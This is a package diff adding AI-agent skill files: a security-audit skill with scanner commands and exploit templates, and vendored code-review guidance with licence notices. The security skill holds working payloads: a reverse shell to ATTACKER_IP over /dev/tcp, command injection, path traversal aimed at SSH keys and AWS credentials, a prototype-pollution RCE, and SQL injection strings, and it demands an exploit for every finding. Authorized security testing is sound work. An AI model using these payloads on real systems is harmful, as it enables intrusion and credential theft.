agemon 0.1.0 → 6.0.0

package/assets/skills/security/agemon-security/SKILL.md

@@ -0,0 +1,356 @@
+---
+name: agemon-security
+description: Use when performing security audits, vulnerability assessments, penetration testing, or when asked to find security issues. Use when encountering code that handles user input, executes commands, reads files, or makes network requests.
+---
+
+# Security Review & Exploit Development
+
+## Overview
+
+Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. **No vulnerability is confirmed until exploited.**
+
+## The Iron Law
+
+```
+NO FINDING WITHOUT A WORKING EXPLOIT
+```
+
+Suspecting a vulnerability is worthless. You must prove exploitation.
+
+## Workflow
+
+```dot
+digraph security_review {
+    "Start review" [shape=doublecircle];
+    "Run automated scanners" [shape=box];
+    "Manual code review" [shape=box];
+    "Vulnerability found?" [shape=diamond];
+    "Write exploit PoC" [shape=box];
+    "Exploit works?" [shape=diamond];
+    "Document with severity" [shape=box];
+    "Mark as false positive" [shape=box];
+    "More to review?" [shape=diamond];
+    "Generate report" [shape=doublecircle];
+
+    "Start review" -> "Run automated scanners";
+    "Run automated scanners" -> "Manual code review";
+    "Manual code review" -> "Vulnerability found?";
+    "Vulnerability found?" -> "Write exploit PoC" [label="yes"];
+    "Vulnerability found?" -> "More to review?" [label="no"];
+    "Write exploit PoC" -> "Exploit works?";
+    "Exploit works?" -> "Document with severity" [label="yes"];
+    "Exploit works?" -> "Mark as false positive" [label="no"];
+    "Document with severity" -> "More to review?";
+    "Mark as false positive" -> "More to review?";
+    "More to review?" -> "Vulnerability found?" [label="yes"];
+    "More to review?" -> "Generate report" [label="no"];
+}
+```
+
+## Phase 1: Automated Scanning
+
+**Run ALL applicable tools.** Don't skip tools because "manual review is enough."
+
+### Static Analysis (SAST)
+
+```bash
+# Opengrep - Multi-language SAST (preferred over semgrep)
+opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .
+
+# Bandit - Python security linter
+bandit -r . -f json -o bandit-report.json
+
+# ast-grep - Custom pattern matching (write rules for project-specific issues)
+ast-grep scan --rule security-rules/
+
+# ESLint security plugin (JS/TS)
+npx eslint --plugin security --rule 'security/detect-child-process: error' .
+
+# Gosec - Go security checker
+gosec -fmt=json -out=gosec-report.json ./...
+```
+
+### Dependency Scanning (SCA)
+
+```bash
+# Trivy - Comprehensive vulnerability scanner
+trivy fs --scanners vuln,secret,misconfig .
+
+# Grype - Fast vulnerability scanner
+grype dir:. -o json > grype-report.json
+
+# pip-audit - Python dependencies
+pip-audit --format=json -o pip-audit.json
+
+# npm audit - Node.js dependencies
+npm audit --json > npm-audit.json
+
+# govulncheck - Go dependencies
+govulncheck ./...
+```
+
+### Secret Detection
+
+```bash
+# Gitleaks - Find secrets in git history
+gitleaks detect --source . --report-path gitleaks-report.json
+
+# Trufflehog - Deep secret scanning
+trufflehog filesystem . --json > trufflehog-report.json
+```
+
+### Container/Infrastructure
+
+```bash
+# Trivy for containers
+trivy image --severity HIGH,CRITICAL <image-name>
+
+# Checkov for IaC
+checkov -d . --framework terraform,kubernetes,dockerfile
+```
+
+## Phase 2: Manual Code Review
+
+Focus on these vulnerability categories in order of severity:
+
+### Critical: Injection Vulnerabilities
+
+| Type | Pattern to Find | Grep Command |
+|------|-----------------|--------------|
+| Command Injection | `exec`, `spawn`, `system`, `eval` | `grep -rn "exec\|spawn\|system\|eval\|Function(" --include="*.ts" --include="*.js"` |
+| SQL Injection | String concatenation in queries | `grep -rn "query.*\+" --include="*.ts"` |
+| Path Traversal | `readFile`, `resolve` without validation | `grep -rn "readFileSync\|readFile\|resolve" --include="*.ts"` |
+| Template Injection | User input in templates | `grep -rn "render\|template" --include="*.ts"` |
+
+### High: Authentication/Authorization
+
+| Type | Pattern to Find |
+|------|-----------------|
+| Missing auth checks | Routes without middleware |
+| Hardcoded credentials | `password`, `secret`, `key` in code |
+| Weak crypto | `md5`, `sha1`, `Math.random` |
+
+### Medium: Data Exposure
+
+| Type | Pattern to Find |
+|------|-----------------|
+| Sensitive data in logs | `console.log`, `logger` with user data |
+| Error message leakage | Full stack traces returned to client |
+| Insecure storage | Credentials in config files |
+
+## Phase 3: Exploit Development
+
+**Every vulnerability MUST have a working exploit.**
+
+### Command Injection Exploit Template
+
+```typescript
+// exploit-cmd-injection.ts
+import { execSync } from 'child_process'
+
+const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'
+
+// Test payloads - escalate from detection to impact
+const payloads = [
+  // Detection: Does injection work?
+  { input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },
+
+  // Information gathering
+  { input: '$(whoami)', detect: /\w+/ },
+  { input: '$(id)', detect: /uid=/ },
+
+  // File read
+  { input: '$(cat /etc/passwd)', detect: 'root:' },
+
+  // Reverse shell (for authorized pentests only)
+  { input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
+]
+
+async function exploit() {
+  for (const { input, detect } of payloads) {
+    const response = await fetch(VULNERABLE_ENDPOINT, {
+      method: 'POST',
+      body: JSON.stringify({ files: [input] }),
+    })
+    const result = await response.text()
+
+    if (detect && result.match(detect)) {
+      console.log(`[+] Payload worked: ${input}`)
+      console.log(`[+] Output: ${result}`)
+    }
+  }
+}
+```
+
+### Path Traversal Exploit Template
+
+```typescript
+// exploit-path-traversal.ts
+const traversalPayloads = [
+  '../../../etc/passwd',
+  '....//....//....//etc/passwd',
+  '/etc/passwd',
+  '/proc/self/environ',  // Leaks environment variables
+  '/home/user/.ssh/id_rsa',
+  '/home/user/.aws/credentials',
+]
+
+async function exploitPathTraversal(endpoint: string) {
+  for (const payload of traversalPayloads) {
+    const response = await fetch(endpoint, {
+      method: 'POST',
+      body: JSON.stringify({ files: [payload] }),
+    })
+    const result = await response.text()
+
+    if (result.includes('root:') || result.includes('AWS_')) {
+      console.log(`[+] Path traversal successful: ${payload}`)
+      return result
+    }
+  }
+}
+```
+
+### Dependency Exploit Template
+
+```typescript
+// exploit-dependency.ts
+// When a vulnerable dependency is found, search for:
+// 1. Public exploits: searchsploit, exploit-db, GitHub
+// 2. CVE details for exploitation steps
+
+// Example: Exploiting known prototype pollution
+const payload = {
+  "__proto__": { "admin": true }
+}
+
+// Example: Exploiting known RCE in library
+const rcePayload = {
+  "constructor": {
+    "prototype": {
+      "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
+    }
+  }
+}
+```
+
+### SQL Injection Exploit Template
+
+```typescript
+// exploit-sqli.ts
+const sqlPayloads = [
+  // Detection
+  "' OR '1'='1",
+  "1; SELECT 1--",
+
+  // Union-based extraction
+  "' UNION SELECT username,password FROM users--",
+
+  // Time-based blind
+  "'; WAITFOR DELAY '0:0:5'--",
+  "' AND SLEEP(5)--",
+
+  // Error-based extraction
+  "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
+]
+```
+
+## Phase 4: Severity Classification
+
+| Severity | Criteria | Examples |
+|----------|----------|----------|
+| **Critical** | RCE, full system compromise, auth bypass | Command injection, SQL injection with admin access |
+| **High** | Significant data breach, privilege escalation | Path traversal to sensitive files, IDOR |
+| **Medium** | Limited data exposure, DoS | Error message leakage, resource exhaustion |
+| **Low** | Minor information disclosure | Version disclosure, missing headers |
+
+## Report Template
+
+```markdown
+## Finding: [Vulnerability Name]
+
+**Severity:** Critical/High/Medium/Low
+**Location:** `file.ts:42`
+**CWE:** CWE-XXX
+
+### Description
+[What is the vulnerability and why it's dangerous]
+
+### Vulnerable Code
+```typescript
+// The vulnerable code snippet
+```
+
+### Proof of Concept
+
+```bash
+# Command to exploit
+curl -X POST http://target/api -d '{"payload": "$(id)"}'
+```
+
+**Result:**
+```
+uid=1000(user) gid=1000(user) groups=1000(user)
+```
+
+### Impact
+- What an attacker can achieve
+- Data at risk
+- Business impact
+
+### Remediation
+```typescript
+// Fixed code
+```
+
+### References
+- CVE-XXXX-XXXXX
+- OWASP reference
+```
+
+## Tool Installation
+
+```bash
+# Install all security tools
+pip install opengrep bandit pip-audit
+npm install -g eslint eslint-plugin-security
+go install github.com/securego/gosec/v2/cmd/gosec@latest
+go install golang.org/x/vuln/cmd/govulncheck@latest
+
+# Trivy
+brew install trivy  # macOS
+# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
+
+# Grype
+brew install grype  # macOS
+# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh
+
+# Gitleaks
+brew install gitleaks  # macOS
+# or: go install github.com/gitleaks/gitleaks/v8@latest
+
+# ast-grep
+npm install -g @ast-grep/cli
+```
+
+## Red Flags - STOP
+
+If you find yourself thinking:
+- "This looks suspicious but I'll note it without testing" - **STOP. Write exploit first.**
+- "Manual review is enough, tools are overkill" - **STOP. Run the tools.**
+- "The exploit is obvious, I don't need to verify" - **STOP. Execute and prove it.**
+- "I'll skip dependency scanning, code review covers it" - **STOP. Run SCA tools.**
+
+## Quick Reference
+
+| Tool | Purpose | Command |
+|------|---------|---------|
+| opengrep | SAST multi-language | `opengrep scan --config=auto .` |
+| bandit | Python SAST | `bandit -r .` |
+| trivy | Vuln + secrets | `trivy fs .` |
+| grype | Dependency vulns | `grype dir:.` |
+| gitleaks | Secret detection | `gitleaks detect --source .` |
+| govulncheck | Go dependencies | `govulncheck ./...` |
+| pip-audit | Python deps | `pip-audit` |
+| npm audit | Node deps | `npm audit` |
+| ast-grep | Custom patterns | `ast-grep scan` |

package/assets/skills/self-review/agemon-review-intake/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 Jesse Vincent
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/assets/skills/self-review/agemon-review-intake/NOTICE.md

@@ -0,0 +1,9 @@
+# Vendored skill
+
+- Source: https://github.com/obra/superpowers
+- Path in source: skills/receiving-code-review
+- Commit: b36e0829c6d0140e93cfef2ca599b1b07d4a7797
+- Retrieved: 2026-08-17
+- License: MIT — see `LICENSE` in this directory.
+- One of several skills cherry-picked from the much larger superpowers framework; not a full vendor of that repo.
+- Renamed from `receiving-code-review` to `agemon-review-intake` for agemon branding — installed skills should read as agemon's own, not a third-party project name.

package/assets/skills/self-review/agemon-review-intake/SKILL.md

@@ -0,0 +1,205 @@
+---
+name: agemon-review-intake
+description: Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation
+---
+
+# Code Review Reception
+
+## Overview
+
+Code review requires technical evaluation, not emotional performance.
+
+**Core principle:** Verify before implementing. Ask before assuming. Technical correctness over social comfort.
+
+## The Response Pattern
+
+```
+WHEN receiving code review feedback:
+
+1. READ: Complete feedback without reacting
+2. UNDERSTAND: Restate requirement in own words (or ask)
+3. VERIFY: Check against codebase reality
+4. EVALUATE: Technically sound for THIS codebase?
+5. RESPOND: Technical acknowledgment or reasoned pushback
+6. IMPLEMENT: One item at a time, test each
+```
+
+## Forbidden Responses
+
+**NEVER:**
+- "You're absolutely right!" (explicit instruction-file violation)
+- "Great point!" / "Excellent feedback!" (performative)
+- "Let me implement that now" (before verification)
+
+**INSTEAD:**
+- Restate the technical requirement
+- Ask clarifying questions
+- Push back with technical reasoning if wrong
+- Just start working (actions > words)
+
+## Handling Unclear Feedback
+
+```
+IF any item is unclear:
+  STOP - do not implement anything yet
+  ASK for clarification on unclear items
+
+WHY: Items may be related. Partial understanding = wrong implementation.
+```
+
+**Example:**
+```
+your human partner: "Fix 1-6"
+You understand 1,2,3,6. Unclear on 4,5.
+
+❌ WRONG: Implement 1,2,3,6 now, ask about 4,5 later
+✅ RIGHT: "I understand items 1,2,3,6. Need clarification on 4 and 5 before proceeding."
+```
+
+## Source-Specific Handling
+
+### From your human partner
+- **Trusted** - implement after understanding
+- **Still ask** if scope unclear
+- **No performative agreement**
+- **Skip to action** or technical acknowledgment
+
+### From External Reviewers
+```
+BEFORE implementing:
+  1. Check: Technically correct for THIS codebase?
+  2. Check: Breaks existing functionality?
+  3. Check: Reason for current implementation?
+  4. Check: Works on all platforms/versions?
+  5. Check: Does reviewer understand full context?
+
+IF suggestion seems wrong:
+  Push back with technical reasoning
+
+IF can't easily verify:
+  Say so: "I can't verify this without [X]. Should I [investigate/ask/proceed]?"
+
+IF conflicts with your human partner's prior decisions:
+  Stop and discuss with your human partner first
+```
+
+**your human partner's rule:** "External feedback - be skeptical, but check carefully"
+
+## YAGNI Check for "Professional" Features
+
+```
+IF reviewer suggests "implementing properly":
+  grep codebase for actual usage
+
+  IF unused: "This endpoint isn't called. Remove it (YAGNI)?"
+  IF used: Then implement properly
+```
+
+**your human partner's rule:** "You and reviewer both report to me. If we don't need this feature, don't add it."
+
+## Implementation Order
+
+```
+FOR multi-item feedback:
+  1. Clarify anything unclear FIRST
+  2. Then implement in this order:
+     - Blocking issues (breaks, security)
+     - Simple fixes (typos, imports)
+     - Complex fixes (refactoring, logic)
+  3. Test each fix individually
+  4. Verify no regressions
+```
+
+## When To Push Back
+
+Push back when:
+- Suggestion breaks existing functionality
+- Reviewer lacks full context
+- Violates YAGNI (unused feature)
+- Technically incorrect for this stack
+- Legacy/compatibility reasons exist
+- Conflicts with your human partner's architectural decisions
+
+**How to push back:**
+- Use technical reasoning, not defensiveness
+- Ask specific questions
+- Reference working tests/code
+- Involve your human partner if architectural
+
+**If you're uncomfortable pushing back out loud:** Name that tension, then tell your partner about the issue you've seen. They'll appreciate your honesty.
+
+## Acknowledging Correct Feedback
+
+When feedback IS correct:
+```
+✅ "Fixed. [Brief description of what changed]"
+✅ "Good catch - [specific issue]. Fixed in [location]."
+✅ [Just fix it and show in the code]
+
+❌ "You're absolutely right!"
+❌ "Great point!"
+❌ "Thanks for catching that!"
+❌ "Thanks for [anything]"
+❌ ANY gratitude expression
+```
+
+**Why no thanks:** Actions speak. Just fix it. The code itself shows you heard the feedback.
+
+**If you catch yourself about to write "Thanks":** DELETE IT. State the fix instead.
+
+## Gracefully Correcting Your Pushback
+
+If you pushed back and were wrong:
+```
+✅ "You were right - I checked [X] and it does [Y]. Implementing now."
+✅ "Verified this and you're correct. My initial understanding was wrong because [reason]. Fixing."
+
+❌ Long apology
+❌ Defending why you pushed back
+❌ Over-explaining
+```
+
+State the correction factually and move on.
+
+## Common Mistakes
+
+| Mistake | Fix |
+|---------|-----|
+| Performative agreement | State requirement or just act |
+| Blind implementation | Verify against codebase first |
+| Batch without testing | One at a time, test each |
+| Assuming reviewer is right | Check if breaks things |
+| Avoiding pushback | Technical correctness > comfort |
+| Partial implementation | Clarify all items first |
+| Can't verify, proceed anyway | State limitation, ask for direction |
+
+## Real Examples
+
+**Performative Agreement (Bad):**
+```
+Reviewer: "Remove legacy code"
+❌ "You're absolutely right! Let me remove that..."
+```
+
+**Technical Verification (Good):**
+```
+Reviewer: "Remove legacy code"
+✅ "Checking... build target is 10.15+, this API needs 13+. Need legacy for backward compat. Current impl has wrong bundle ID - fix it or drop pre-13 support?"
+```
+
+**YAGNI (Good):**
+```
+Reviewer: "Implement proper metrics tracking with database, date filters, CSV export"
+✅ "Grepped codebase - nothing calls this endpoint. Remove it (YAGNI)? Or is there usage I'm missing?"
+```
+
+**Unclear Item (Good):**
+```
+your human partner: "Fix items 1-6"
+You understand 1,2,3,6. Unclear on 4,5.
+✅ "Understand 1,2,3,6. Need clarification on 4 and 5 before implementing."
+```
+
+## GitHub Thread Replies
+
+When replying to inline review comments on GitHub, reply in the comment thread (`gh api repos/{owner}/{repo}/pulls/{pr}/comments/{id}/replies`), not as a top-level PR comment.

package/assets/skills/self-review/agemon-review-request/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 Jesse Vincent
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/assets/skills/self-review/agemon-review-request/NOTICE.md

@@ -0,0 +1,9 @@
+# Vendored skill
+
+- Source: https://github.com/obra/superpowers
+- Path in source: skills/requesting-code-review
+- Commit: b36e0829c6d0140e93cfef2ca599b1b07d4a7797
+- Retrieved: 2026-08-17
+- License: MIT — see `LICENSE` in this directory.
+- One of several skills cherry-picked from the much larger superpowers framework; not a full vendor of that repo.
+- Renamed from `requesting-code-review` to `agemon-review-request` for agemon branding — installed skills should read as agemon's own, not a third-party project name.